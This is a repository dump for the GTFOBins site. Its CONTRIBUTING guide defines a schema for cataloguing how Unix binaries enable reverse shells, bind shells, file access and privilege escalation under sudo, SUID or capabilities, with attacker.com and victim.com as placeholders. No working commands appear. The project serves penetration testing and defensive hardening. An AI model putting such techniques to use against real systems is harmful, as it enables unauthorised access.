[
  {
    "path": ".dir-locals.el",
    "content": "((\"_gtfobins\" . ((fundamental-mode . ((mode . yaml))))))\n"
  },
  {
    "path": ".gitattributes",
    "content": "/_gtfobins/* linguist-language=yml linguist-detectable\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "github: GTFOBins\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: CI\non:\n  push:\n    branches:\n      - master\n  pull_request:\n    branches:\n      - master\n  workflow_dispatch:\njobs:\n  Lint:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v4\n      - name: Run linter\n        run: |\n          make vet\n"
  },
  {
    "path": ".github/workflows/pages.yml",
    "content": "name: Pages\non:\n  push:\n    branches:\n      - master\npermissions:\n  contents: read\n  pages: write\n  id-token: write\njobs:\n  Build:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v4\n      - uses: ruby/setup-ruby@v1\n        with:\n          ruby-version: 3.3.4\n          bundler-cache: true\n      - name: Setup Pages\n        id: pages\n        uses: actions/configure-pages@v5\n      - name: Build Jekyll\n        run: bundle exec jekyll build\n        env:\n          JEKYLL_ENV: production\n      - name: Upload artifact\n        uses: actions/upload-pages-artifact@v3\n  Deploy:\n    environment:\n      name: github-pages\n    runs-on: ubuntu-22.04\n    needs: Build\n    steps:\n      - name: Deploy to GitHub Pages\n        uses: actions/deploy-pages@v4\n"
  },
  {
    "path": ".gitignore",
    "content": "/.jekyll-cache/\n/.jekyll-metadata\n/.sass-cache/\n/_private/\n/_site/\n/linter/.venv/\n/linter/__pycache__/\n"
  },
  {
    "path": "CNAME",
    "content": "gtfobins.org\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "---\nlayout: page\ntitle: Contributing\ndescription: Get involved in GTFOBins.\npermalink: /contributing/\n---\n\n## File format\n\nFeel free to use any file in the [`_gtfobins/`] folder as an example.\n\nEach entry is defined in a [YAML][] file placed in the [`_gtfobins/`][] folder and named like the executable (binary or script) it refers, without any extension. The file contains a single YAML document enclosed in delimiters: `---` and `...`. The general structure is the following:\n\n```yaml\n---\ncomment: …\nfunctions:\n  <function>:\n    - comment: …\n      version: …\n      code: …\n      contexts:\n        <context>:\n          comment: …\n          code: …\n          # …\n        # …\n    # …\n  # …\n...\n```\n\nWhere `<function>` and `<context>` are defined in the [`_data/functions.yml`][] and [`_data/contexts.yml`][] files respectively.\n\nThe optional `version` field must outline any particular OS or executable requirements that enable the corresponding function.\n\nWhen a context specifies a specialized `code` field, it is used in place of the global value, which can be omitted if all the context specifies a specialization. `comment` instances can always be omitted, while ultimately there must be one `code` example for each context, either specialized or inherited.\n\n### Functions\n\nSome functions support additional fields:\n\n| Function        | Fields                    |\n|-----------------|---------------------------|\n| `shell`         | `blind`                   |\n| `command`       | `blind`                   |\n| `reverse-shell` | `blind` `tty` `listener`  |\n| `bind-shell`    | `blind` `tty` `connector` |\n| `file-write`    | `binary`                  |\n| `file-read`     | `binary`                  |\n| `upload`        | `binary` `receiver`       |\n| `download`      | `binary` `sender`         |\n| `library-load`  | n/a                       |\n| `inherit`       | `from`                    |\n\nWhere:\n\n- the optional `blind` field determines whether the example is able to somehow return the output of the execution of commands or not (defaults to `false`);\n\n- the optional `tty` field determines whether the example is able to spawn a full TTY shell or not (defaults to `true`);\n\n- the optional `binary` field determines whether the example is able to handle arbitrary binary data or not (defaults to `true`);\n\n- the optional `listener` field describes how to receive the shell on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`);\n\n- the optional `connector` field describes how to initiate the shell on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`);\n\n- the optional `receiver` field describes how to receive data on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`);\n\n- the optional `sender` field describes how to send data on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`);\n\n- the mandayory `from` field that is the name of another executable that the example enables.\n\n### Contexts\n\nSome contexts support additional fields:\n\n| Context        | Fields   |\n|----------------|----------|\n| `unprivileged` | n/a      |\n| `sudo`         | n/a      |\n| `suid`         | `system` |\n| `capabilities` | `list`   |\n\nWhere:\n\n- the optional `system` field determines whether the executable uses functions like [`system`](https://man7.org/linux/man-pages/man3/system.3.html) that passes commands to the default system shell, which, according to the version used, might or might not drop the privileges (defaults to `false`);\n\n- the mandayory `list` field is the list of Linux [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) in the format `CAP_*` that are needed in order to execute this function with bypassed permissions.\n\n### Aliases\n\nAdditionally, it is possible to add _aliases_ with:\n\n```yaml\n---\nalias: <gtfobin>\n...\n```\n\nIn this case, this entry is an alias of an existing `<gtfobin>`.\n\n## Conventions\n\n### Placeholders\n\nUse the following placeholder values where appropriate:\n\n| Type                 | Value                  |\n|----------------------|------------------------|\n| Shell executable     | `/bin/sh`              |\n| Command executable   | `/path/to/command`     |\n| Network port         | `12345`                |\n| Data to be written   | `DATA`                 |\n| Whatever value       | `x...x`                |\n| Input file           | `/path/to/input-file`  |\n| Output file          | `/path/to/output-file` |\n| Temporary file       | `/path/to/temp-file`   |\n| Temporary directory  | `/path/to/temp-dir/`   |\n| Shared library file  | `/path/to/lib.so`      |\n| Victim host domain   | `victim.com`           |\n| Attacker host domain | `attacker.com`         |\n\nSome flexibility is expected.\n\n### Links\n\nIf needed, link to other entries using relative URLs, e.g, `[gtfobin](../gtfobin)`.\n\n## Local development\n\nTo test local changes, start a local instance with:\n\n```\nmake serve\n```\n\nThis will spin a Docker container that builds the website, and serves it from <http://0.0.0.0:4000>. Changes to local files are automatically applied.\n\nBefore submitting any pull request, make sure the linter completes successfully:\n\n```\nmake vet\n```\n\nThis checks both the schema and the format of [YAML][] files, in case of issues in the latter `make format` can be used to enforce the proper style.\n\nFinally, use `make clean` to clean everything up.\n\n[YAML]: https://yaml.org/\n[`_data/functions.yml`]: https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_data/functions.yml\n[`_data/contexts.yml`]: https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_data/contexts.yml\n[`_gtfobins/`]: https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins\n"
  },
  {
    "path": "Dockerfile",
    "content": "# see: curl -s https://pages.github.com/versions.json | jq -r '.ruby'\nFROM ruby:3.3.4\n\nWORKDIR /GTFOBins/\n\nCOPY ./Gemfile ./\n\nRUN bundle install\n\nENTRYPOINT [\"bundle\", \"exec\", \"jekyll\", \"serve\", \"--host=0.0.0.0\"]\n"
  },
  {
    "path": "Gemfile",
    "content": "source 'https://rubygems.org'\n\ngem 'github-pages'\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on 